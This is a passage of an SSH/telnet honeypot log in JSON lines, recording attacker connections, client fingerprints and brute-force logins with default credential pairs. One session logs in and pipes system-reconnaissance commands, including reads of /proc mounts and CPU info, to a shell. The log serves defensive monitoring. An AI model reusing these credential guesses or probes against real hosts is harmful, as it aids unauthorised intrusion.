ange-sha256","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour","arcfour128","arcfour256"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 087ab61de4f8afa9ac8f30c1b7c418eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:23.632620Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:24.767518Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":200,"height":80,"message":"Terminal Size: 200 80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:25.462808Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:25.736490Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778341646348496550\" | sh","message":"CMD: echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778341646348496550\" | sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:26.857002Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778341646348496550\n","message":"CMD: bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778341646348496550\n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:26.861123Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:26.868092Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33744,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ba25a4c346","protocol":"ssh","message":"New connection: 47.239.15.75:33744 (159.203.135.109:22) [session: d7ba25a4c346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:29.809041Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b79e8229873b547f9e85168508c87e6d7e39d34db76113d49a6f3cb200d6234","size":1727,"shasum":"4b79e8229873b547f9e85168508c87e6d7e39d34db76113d49a6f3cb200d6234","duplicate":false,"duration":"5.8","message":"Closing TTY Log: var/lib/cowrie/tty/4b79e8229873b547f9e85168508c87e6d7e39d34db76113d49a6f3cb200d6234 after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:31.541446Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:31.546939Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:37.808401Z","src_ip":"47.239.15.75","session":"d7ba25a4c346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:38.005269Z","src_ip":"47.239.15.75","session":"d7ba25a4c346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.761804819107056,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:42.038590Z","src_ip":"45.58.127.90","session":"91ce79f85997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33372,"dst_ip":"159.203.135.109","dst_port":22,"session":"a63b5dbc7591","protocol":"ssh","message":"New connection: 87.106.29.151:33372 (159.203.135.109:22) [session: a63b5dbc7591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:43.782192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:43.789823Z","src_ip":"87.106.29.151","session":"a63b5dbc7591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:43.882909Z","src_ip":"87.106.29.151","session":"a63b5dbc7591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker@2025","message":"login attempt [docker/docker@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:44.284722Z","src_ip":"87.106.29.151","session":"a63b5dbc7591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:45.384017Z","src_ip":"87.106.29.151","session":"a63b5dbc7591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:48.166334Z","src_ip":"47.239.15.75","session":"d7ba25a4c346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":54392,"dst_ip":"159.203.135.109","dst_port":22,"session":"f70c15cd1f7c","protocol":"ssh","message":"New connection: 198.98.55.71:54392 (159.203.135.109:22) [session: f70c15cd1f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:49.851972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:49.856722Z","src_ip":"198.98.55.71","session":"f70c15cd1f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:49.861758Z","src_ip":"198.98.55.71","session":"f70c15cd1f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"AaBbCc123","message":"login attempt [ubuntu/AaBbCc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:49.917209Z","src_ip":"198.98.55.71","session":"f70c15cd1f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.251805067062378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:50.077857Z","src_ip":"92.204.138.187","session":"0a46035243f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:50.795714Z","src_ip":"47.239.15.75","session":"d7ba25a4c346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:50.925454Z","src_ip":"198.98.55.71","session":"f70c15cd1f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.83958625793457,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:57.121772Z","src_ip":"45.58.127.90","session":"c8c144043eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":41422,"dst_ip":"159.203.135.109","dst_port":22,"session":"3557cdc7f7b5","protocol":"ssh","message":"New connection: 47.239.15.75:41422 (159.203.135.109:22) [session: 3557cdc7f7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:08.413602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:08.698478Z","src_ip":"47.239.15.75","session":"3557cdc7f7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.56.8.163","src_port":45590,"dst_ip":"10.17.0.5","dst_port":23,"session":"60180a1d86a1","protocol":"telnet","message":"New connection: 152.56.8.163:45590 (10.17.0.5:23) [session: 60180a1d86a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:11.402918Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:15.759415Z","src_ip":"47.239.15.75","session":"3557cdc7f7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.7206449508667,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:24.123409Z","src_ip":"152.56.8.163","session":"60180a1d86a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46564,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1700b7da9b1","protocol":"ssh","message":"New connection: 87.106.29.151:46564 (159.203.135.109:22) [session: d1700b7da9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:33.832715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:33.841645Z","src_ip":"87.106.29.151","session":"d1700b7da9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:33.934010Z","src_ip":"87.106.29.151","session":"d1700b7da9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz96300","message":"login attempt [root/Qaz96300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:34.335840Z","src_ip":"87.106.29.151","session":"d1700b7da9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:35.432269Z","src_ip":"87.106.29.151","session":"d1700b7da9b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":49896,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b4bf926452","protocol":"ssh","message":"New connection: 198.98.55.71:49896 (159.203.135.109:22) [session: 69b4bf926452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:35.966042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:35.971169Z","src_ip":"198.98.55.71","session":"69b4bf926452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:35.977209Z","src_ip":"198.98.55.71","session":"69b4bf926452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootuser","message":"login attempt [root/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:36.030333Z","src_ip":"198.98.55.71","session":"69b4bf926452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:37.039375Z","src_ip":"198.98.55.71","session":"69b4bf926452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:38.722434Z","src_ip":"47.239.15.75","session":"3557cdc7f7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":15066,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5b447f98dcc","protocol":"ssh","message":"New connection: 31.57.216.16:15066 (159.203.135.109:22) [session: f5b447f98dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:39.330194Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:39.336700Z","src_ip":"31.57.216.16","session":"f5b447f98dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":15076,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e98661c518d","protocol":"ssh","message":"New connection: 31.57.216.16:15076 (159.203.135.109:22) [session: 5e98661c518d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:39.579218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:48:39.585331Z","src_ip":"31.57.216.16","session":"5e98661c518d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hell